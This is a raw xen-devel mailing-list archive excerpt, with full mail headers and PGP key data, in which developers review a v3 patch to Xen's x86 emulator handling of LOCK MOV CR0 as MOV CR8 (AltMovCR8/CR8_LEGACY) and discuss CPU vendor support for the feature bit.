Ktab9XCUnD2kb+0lPbNaP03/HL9D0Mqcrj3xJhF9/dwM8WG5KmdksPjZVoGF
=S31P
-----END PGP SIGNATURE-----

--------------RPpE7Ff31FH5gGejUKy0DrVU--


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 09:57:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 09:57:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356793.1611336 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whP1y-0003DP-I6; Wed, 08 Jul 2026 09:57:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356793.1611336; Wed, 08 Jul 2026 09:57:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whP1y-0003DI-FP; Wed, 08 Jul 2026 09:57:26 +0000
Received: by outflank-mailman (input) for mailman id 1356793;
 Wed, 08 Jul 2026 09:57:25 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1whP1x-0003DC-KB
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 09:57:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whP1w-00G3K3-BM
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:57:24 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4e1eff-e002-0a2a0a5209dd-0a2a4501c090-24
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:57:24 +0200
Received: from [40.107.208.46]
 (helo=PH0PR06CU001.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4e1f02-400f-0a2a45010019-286bd02e3c1f-4
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:57:23 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by BY5PR03MB4917.namprd03.prod.outlook.com (2603:10b6:a03:1e9::13)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Wed, 8 Jul
 2026 09:57:20 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0181.012; Wed, 8 Jul 2026
 09:57:20 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=YjV/CRa2LZut5tRCjdW7AvemqSOvP50YVzOfEtUtoXvdun+M9wKYhL8HQg0Q782sRu4AlBHd7Y+AsohzMpzMypvWMsK36Z+sf4SaiHrgsE9sR34scpbikgJMGjcixTtQRv+eH2gWMGf8wFeRIH14PASjoCbdn9feOc7Yfwwz7/Iaf0fcVxY1yKR9GzedSZdHGx8+DxFYAo+2jp6uNlsB/nIDfFqH+Z2daCJhpNkxDjpGpoZYKGenZr/yHYbmVDw3bbQSVkbrI9Y6I3s1Ysjl5BUVSd2kpnAhOTi1gpSbXAdsK4fk7SKBUvc3VtH3z9VgmneATUEmKBPKGPQUNx/elg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=pHar/Ys01Zp/AQHn0OyjwupbCfYO7CtDJEZM8KXbG2c=;
 b=HUec2e+x+Jqh6HrLJ8YkO154JZB9uQbcFM/83IQRgIv91ECNmmXmkuL7b9iYbD+7wzr0Fwsogxs8LQnVQRe+u27HrCIKpoxkRdNIf36FI9XTw2Qc1wRILoQ5gM5r3+t+kFdgDTX88N9sZmZKILDuGHoPLFx4VbQufVmwsgRG7cxnav2XiWgTKyQULemnAY3uoS5nz8NeEYHO0ELzbtvUdgOUQ4uGCwuXs49oLyw048644OF79BxBhpK2rj/VdIkbM/bz4LOpLYuACS74QBQm9SpLDON3RRbc4bXnRxZtuanad+9/wGEsKnABs3ximFSTxx+hRspxfXSIJs16F0veCQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=pHar/Ys01Zp/AQHn0OyjwupbCfYO7CtDJEZM8KXbG2c=;
 b=A4nr0BTN+F308FD7wAnop+XaJmWCIYvddle3EWnb2CBNxxeL3zcI+QfRz0Sgom2uja55VljV1xxYMwF7QGaaPQ7DPEZ383F+MW4+kxyCfhdFKKr4/Juwe057VLvRZSDMrNWSyZ9aCCyQIL+oJx+4MM8alInhEKieHzULqf8Q9ZM=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <f4c52bd9-4851-488f-98dc-7188470fd850@citrix.com>
Date: Wed, 8 Jul 2026 10:57:14 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Jan Beulich
 <jbeulich@suse.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>
Subject: Re: [PATCH v3] x86/emul: Adjust handling of CR8_LEGACY
To: Teddy Astie <teddy.astie@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260707194921.1425926-1-andrew.cooper3@citrix.com>
 <1783502974.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@vates.tech>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4oBHVGK5LMsvg22PfMJ
 ISWFSHoF/B5+lHkC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Avt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <1783502974.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@vates.tech>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0126.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:192::23) To CH8PR03MB8276.namprd03.prod.outlook.com
 (2603:10b6:610:2c1::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|BY5PR03MB4917:EE_
X-MS-Office365-Filtering-Correlation-Id: bec86e77-bf52-418d-7f72-08dedcd74b84
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|366016|1800799024|23010399003|18002099003|22082099003|56012099006|4143699003|11063799006;
X-Microsoft-Antispam-Message-Info:
	h2TjobWHKVkmFO56v+pwxWCAO/4ludRA7nAIj1WqyzdFe8L3nfXkGi6VFPdfvRSuad1peskbhWgnxe/nKAsjac7mErUcce9XsV8SzMu3oxolUu2k9eFPczxYExEreyTWEaOqBZUCGmWrwwMk0t7r0DqVfodfEXUVCLZcaDGHCRpXCcfuBJAc7vM2pqInSQhuGnPBzqept27/V8kWTOLSFo4ew+4qj3pHxiAj8yFr3Xlxs9ev/xEGjEt+cKdYmdRCbs05MVswNuyG5irqqABA1g/Fcg44SvCgo/O33AjwlNlTctC/+l+zE33eyUtOrVB4DV9qFGFavnN3Uu5AlKY1G540LcnpS6gJm34YnFEUUZNcQ4fTzaPi9yFUgmBkRmgrFuru1YESoldUNNuYgkAyMeXroBcbms5p/y/4CYSiZHEGXH6/a3856Z7E275okKx/zkr4QVkrN9j4+XgfgAZdbjKisswLhsUK/gfausB7jZrE30Cg247RtuSXB8DZ/Sbx6Z1g2wU8Zban3qKpri4UspGIKA8DFHp+Bi0yB6GpV4veik+6LenTYO6TD6g4rvsja4ep8qsLd3dpnmJwLdDucGEAS3PQTHVZPxOn5dqju1IKsf3i0UGWKo7wWum/BRbMMWhsXKiyWqMRjCBk5vyFc0cXovs8PvOwVKpC9QpUzxQ=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(366016)(1800799024)(23010399003)(18002099003)(22082099003)(56012099006)(4143699003)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?bHlGQlVaNnl0UGorSHRwdDRNQTBhTHVPMk9MT0N0ckFIK3hqbTVmYmxRV3pJ?=
 =?utf-8?B?VWh1U1NOZlI5ckRQSWduaVp6UkVPTXU5L0pzUEYzUHNtaXArZlhnd0oya3pz?=
 =?utf-8?B?cmZaYWJyNFlnUDJFS3c2Q0Z3czZSNHVlWlczb2R0OXgwNmQ1aE44UGpXZWZa?=
 =?utf-8?B?c0ZmSHNzdHlCdXRyTU04REdpaG9SbkU2dGRGWWNyWS83NllxSVZ6S05IeHMy?=
 =?utf-8?B?VGdmamJRR1BiZW4xeXU5eit5TVBsNHZBSkFGa1FUbU4wVDFCcXh1Nk5jQTY4?=
 =?utf-8?B?TkZwZHBVUmdBaENkVFVBRUFCUnBWbFhNUHQwSFUveVRad3MwbXk4SnUrRjE5?=
 =?utf-8?B?a3B3RVhxMmpxODVBU3lpNDZLQXpvR2hmYkhhOVM0ekJEVy9tTE9teVZKaGd6?=
 =?utf-8?B?am5iSnR2aU1QdlZP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?=
 =?utf-8?B?dkdicFNqaVFaM1hCMGp0N3hMVEJ1YzBDREhzbGpYeEVWZmxkSVRBU05KbUdi?=
 =?utf-8?B?NmJrTng3NGdJRTliUGtkMFdoVWRneVlPY2tEbmtFbzhIeXU5VEJTVXRtNmhI?=
 =?utf-8?B?K1diUDZUbk5OQjd0L3c5ZGVWQmZWWlk1RS8wTnFYVEl6MzZSenF1dz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: bec86e77-bf52-418d-7f72-08dedcd74b84
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8276.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 09:57:20.0939
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 5j+6m+WrnlWY4jISmSy4z27wxKBLK9JV7+txddixaQ60Xyre0erIfpznzE+XOMYow8MVMyWil4qHeA0RVTSG+iqu8YE1P+UV6//AWnvdmMc=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BY5PR03MB4917
X-purgate-ID: tlsNG-d62444/1783504644-D06D61E0-138769D5/0/0
X-purgate-type: clean
X-purgate-size: 2553

On 08/07/2026 10:29 am, Teddy Astie wrote:
> Le 07/07/2026 Ã  21:49, Andrew Cooper a Ã©critÂ :
>> The APM description of the AltMovCR8 feature bit is:
>>
>> Â Â  "LOCK MOV CR0 means MOV CR8"
>>
>> Adjust the decode logic to behave like this.
>>
>> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
>> ---
>> CC: Jan Beulich <jbeulich@suse.com>
>> CC: Roger Pau MonnÃ© <roger.pau@citrix.com>
>> CC: Teddy Astie <teddy.astie@vates.tech>
>>
>> v3:
>> Â  * Change yet again.Â  A contact with information on the matter
>> confirmed that
>> Â Â Â  it is a special case for Reg = 0, and not a general modifier to
>> all Reg
>> Â Â Â  values.
>> ---
>> Â  xen/arch/x86/x86_emulate/decode.c | 6 +++---
>> Â  1 file changed, 3 insertions(+), 3 deletions(-)
>>
>> diff --git a/xen/arch/x86/x86_emulate/decode.c
>> b/xen/arch/x86/x86_emulate/decode.c
>> index 2c13356c4d17..57f6baffb066 100644
>> --- a/xen/arch/x86/x86_emulate/decode.c
>> +++ b/xen/arch/x86/x86_emulate/decode.c
>> @@ -780,12 +780,12 @@ decode_twobyte(struct x86_emulate_state *s,
>> Â Â Â Â Â Â Â Â Â  break;
>> Â  Â Â Â Â Â  case 0x20: case 0x22: /* mov to/from cr */
>> -Â Â Â Â Â Â Â  if ( s->lock_prefix && vcpu_has_cr8_legacy() )
>> +Â Â Â Â Â Â Â  if ( s->lock_prefix && vcpu_has_cr8_legacy() && s->modrm_reg
>> == 0 )
>> Â Â Â Â Â Â Â Â Â  {
>> -Â Â Â Â Â Â Â Â Â Â Â  s->modrm_reg += 8;
>> +Â Â Â Â Â Â Â Â Â Â Â  s->modrm_reg = 8;
>> Â Â Â Â Â Â Â Â Â Â Â Â Â  s->lock_prefix = false;
>> Â Â Â Â Â Â Â Â Â  }
>> -Â Â Â Â Â Â Â  /* fall through */
>> +Â Â Â Â Â Â Â  fallthrough;
>> Â Â Â Â Â  case 0x21: case 0x23: /* mov to/from dr */
>> Â Â Â Â Â Â Â Â Â  ASSERT(s->ea.type == OP_REG); /* Early operand adjustment
>> ensures this. */
>> Â Â Â Â Â Â Â Â Â  generate_exception_if(s->lock_prefix, X86_EXC_UD);
>
> I'm fine with it; though we probably want to make sure we always
> advertise the AltMovCr8 feature bit as APM suggest users to always
> check for this before relying on this behavior.
>
> Interestingly, I see this feature bit set on Intel hardware.

Are you mixing up the basic and extended feature leaves?Â  Intel does not
have this behaviour and doesn't (to my knowledge) advertise the CPUID bit.

> Though, it's a reserved bit in SDM, and lock mov cr0 is defined as
> being #UD.
>
> Which CPU model introduced this feature bit ? And does Intel behavior
> matches AMD's spec ?

That was in the v2 commit message, but I took it out here.

AMD K8 Rev F.Â  Prior K8 revisions didn't have it.

~Andrew


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 09:59:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 09:59:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356801.1611345 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whP3y-00049R-Tt; Wed, 08 Jul 2026 09:59:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356801.1611345; Wed, 08 Jul 2026 09:59:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whP3y-00049K-Qr; Wed, 08 Jul 2026 09:59:30 +0000
Received: by outflank-mailman (input) for mailman id 1356801;
 Wed, 08 Jul 2026 09:59:29 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f412b045b00080a8@swg.vates.tech>)
 id 1whP3x-00047y-Go
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 09:59:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whP3w-00AmJq-Lh
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:59:28 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f412b045b00080a8@swg.vates.tech>)
 id 6a4e1f80-e002-0a2a0a5209dd-0a2a4506ebf2-0
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:59:28 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f412b045b00080a8@swg.vates.tech>)
 id 6a4e1f80-08de-0a2a45060019-b9ff1c23a8a5-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:59:28 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f412b045b00080a8.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 09:59:26 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 80F1781087;
 Wed,  8 Jul 2026 11:59:25 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=zCxxnfjd6lp0hIlXLY2kMjGD1/kFYSuIEbrtKUkXNE8=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=iR0d3zf7TdhYlyx+bYr7pDpn4USf0zOg60XTgEFHY87ntCneLe2I9Bz+Jfy3j+Lw3SNBt2F1n
 Oq5ppi6Vfl7c8fivN0Kw8UkevZnLkD+fiWgDHYWT/+1utgstyIFFOMj9tIU9GRFGDqEM98J4QrD
 YWa0ecPB3mpEnBAejImrNRGi+czhOqOXhhatAi+pjOq9k3C+ecgpNlTBB1cs/bocoJBc/54GK7o
 ACg1TkI6ZZh+M+7wOBDquxXfl5a9NLLKNay3zkoUZZh+/wNn9AiaF31ljw8VDQDe/1K3VX4SHUe
 dzvLqku4pD0qVakCs2TxVMtf/ryytuxUpUY9zHnLGQcg==
X-Zone-Loop: 6a2e98f6a808e9913f61228d8902ece48201e8ea80ab
x-campaign-type: default
x-transaction-id: 85fc414e-1a64-41d6-b577-5582d1c1ea66
x-swg-uid: 01-045878af-f3eb-4b91-85e1-8f319e09aabb
X-Mailer: Sweego
Message-ID:
 <1783504766.8631fc262581453bbf619ec5b2062170.19f412b045b00080a8@vates.tech>
x-swg-bid: 1783504766.8631fc262581453bbf619ec5b2062170.19f412b045b00080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 8 Jul 2026 11:59:24 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3] x86/emul: Adjust handling of CR8_LEGACY
To: Jan Beulich <jbeulich@suse.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260707194921.1425926-1-andrew.cooper3@citrix.com>
 <1783502974.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@vates.tech>
 <4d38fc9c-0d80-4632-98e8-7fb4682bc0b0@suse.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz0G3DPNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89
 MXfQXZ3qt1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
 LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWjmoACGwME
 CwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNzuyOVCskwfUZPla6Z
 pd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp0x0HfuhcYfAYPR46XHTvjaJE
 v99sT/vGUG1BZguYDOScSEpgSNaNlYum3RKZbMuROxdK8G+YHccJY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W5xXYPgyjcuOPwgQo1Qp764QxyX6rld2f2RcWkDuBHun55ZWXj
 by8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <4d38fc9c-0d80-4632-98e8-7fb4682bc0b0@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------OmCq0iq1fK3yry9hFjH7o2As"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783504765626
X-purgate-ID: tlsNG-16d1c6/1783504768-C692368D-21CC5253/0/0
X-purgate-type: clean
X-purgate-size: 6991

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------OmCq0iq1fK3yry9hFjH7o2As
Content-Type: multipart/mixed; boundary="------------grNgvvd2qOkxF8rh04J82rwr";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Jan Beulich <jbeulich@suse.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Message-ID: <f2f6516a-7323-440c-9bd6-771fafc1e0bc@vates.tech>
Subject: Re: [PATCH v3] x86/emul: Adjust handling of CR8_LEGACY
References: <20260707194921.1425926-1-andrew.cooper3@citrix.com>
 <1783502974.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@vates.tech>
 <4d38fc9c-0d80-4632-98e8-7fb4682bc0b0@suse.com>
In-Reply-To: <4d38fc9c-0d80-4632-98e8-7fb4682bc0b0@suse.com>

--------------grNgvvd2qOkxF8rh04J82rwr
Content-Type: multipart/mixed; boundary="------------3xLkroRGDN0jbu0h02VpteNv"

--------------3xLkroRGDN0jbu0h02VpteNv
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMDgvMDcvMjAyNiDDoCAxMTozNywgSmFuIEJldWxpY2ggYSDDqWNyaXTCoDoNCj4gT24g
MDguMDcuMjAyNiAxMToyOSwgVGVkZHkgQXN0aWUgd3JvdGU6DQo+PiBMZSAwNy8wNy8yMDI2
IMOgIDIxOjQ5LCBBbmRyZXcgQ29vcGVyIGEgw6ljcml0wqA6DQo+Pj4gLS0tIGEveGVuL2Fy
Y2gveDg2L3g4Nl9lbXVsYXRlL2RlY29kZS5jDQo+Pj4gKysrIGIveGVuL2FyY2gveDg2L3g4
Nl9lbXVsYXRlL2RlY29kZS5jDQo+Pj4gQEAgLTc4MCwxMiArNzgwLDEyIEBAIGRlY29kZV90
d29ieXRlKHN0cnVjdCB4ODZfZW11bGF0ZV9zdGF0ZSAqcywNCj4+PiAgICAgICAgICAgIGJy
ZWFrOw0KPj4+ICAgIA0KPj4+ICAgICAgICBjYXNlIDB4MjA6IGNhc2UgMHgyMjogLyogbW92
IHRvL2Zyb20gY3IgKi8NCj4+PiAtICAgICAgICBpZiAoIHMtPmxvY2tfcHJlZml4ICYmIHZj
cHVfaGFzX2NyOF9sZWdhY3koKSApDQo+Pj4gKyAgICAgICAgaWYgKCBzLT5sb2NrX3ByZWZp
eCAmJiB2Y3B1X2hhc19jcjhfbGVnYWN5KCkgJiYgcy0+bW9kcm1fcmVnID09IDAgKQ0KPj4+
ICAgICAgICAgICAgew0KPj4+IC0gICAgICAgICA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vaywgdGhvdWdoIHRoaXMgYml0IGlzIG5hbWVkIGFzICJBbHRNb3ZDcjgiIGlu
IEp1bHkgMjAyNSBBUE07IGJ1dCANCndlIG5hbWUgaXQgImNyOF9sZWdhY3kiLiBIYXMgdGhl
IG5hbWUgb2YgdGhlIGZlYXR1cmUgYml0IGNoYW5nZWQgaW4gQVBNIA0Kb3ZlciB0aW1lID8N
Cg0KPiBKYW4NCg0KVGVkZHkNCg==
--------------3xLkroRGDN0jbu0h02VpteNv
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

